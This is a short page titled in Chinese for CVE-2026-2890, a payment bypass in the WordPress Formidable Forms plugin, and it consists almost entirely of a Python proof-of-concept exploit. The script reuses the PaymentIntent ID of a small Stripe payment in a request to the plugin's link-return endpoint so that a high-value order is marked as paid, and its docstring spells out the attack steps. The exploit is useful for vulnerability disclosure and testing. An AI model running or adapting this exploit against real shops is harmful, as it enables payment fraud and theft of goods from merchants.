CVE-2026-2890 WordPress Formidable Forms插件支付绕过漏洞

#!/usr/bin/env python3 """ CVE-2026-2890 Payment Integrity Bypass PoC Formidable Forms Stripe Link Payment Bypass """ import requests import json TARGET_URL = "https://vulnerable-site.com/wp-json/formidable/stripe/link/return" def exploit_payment_bypass(): """ Attack scenario: 1. Attacker completes a small legitimate payment ($1) to get a valid PaymentIntent 2. Attacker captures the PaymentIntent ID 3. Attacker initiates a high-value purchase ($1000) 4. Instead of paying $1000, attacker reuses the small payment's PaymentIntent 5. System marks the $1000 order as paid based on PaymentIntent status alone """ # Step 1: Get a legitimate PaymentIntent from a small payment small_payment_intent = "pi_legitimate_small_payment_intent_id" # Step 2: Craft request to mark high-value payment as complete payload = { "payment_intent_id": small_payment_intent, "client_secret": "small_payment_client_secret", "form_id": "high_value_form_id", "expected_amount": 100000, # $1000.00 in cents "entry_id": "victim_entry_id" } # The vulnerable endpoint only checks PaymentIntent status, # not whether the amount matches expected_amount response = requests.post(TARGET_URL, json=payload) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: result = response.json() if result.get("success"): print("[!] VULNERABLE: Payment marked as complete!") print("[*] Attacker successfully bypassed payment for high-value order") return True print("[*] Exploit failed or target not vulnerable") return False if __name__ == "__main__": exploit_payment_bypass()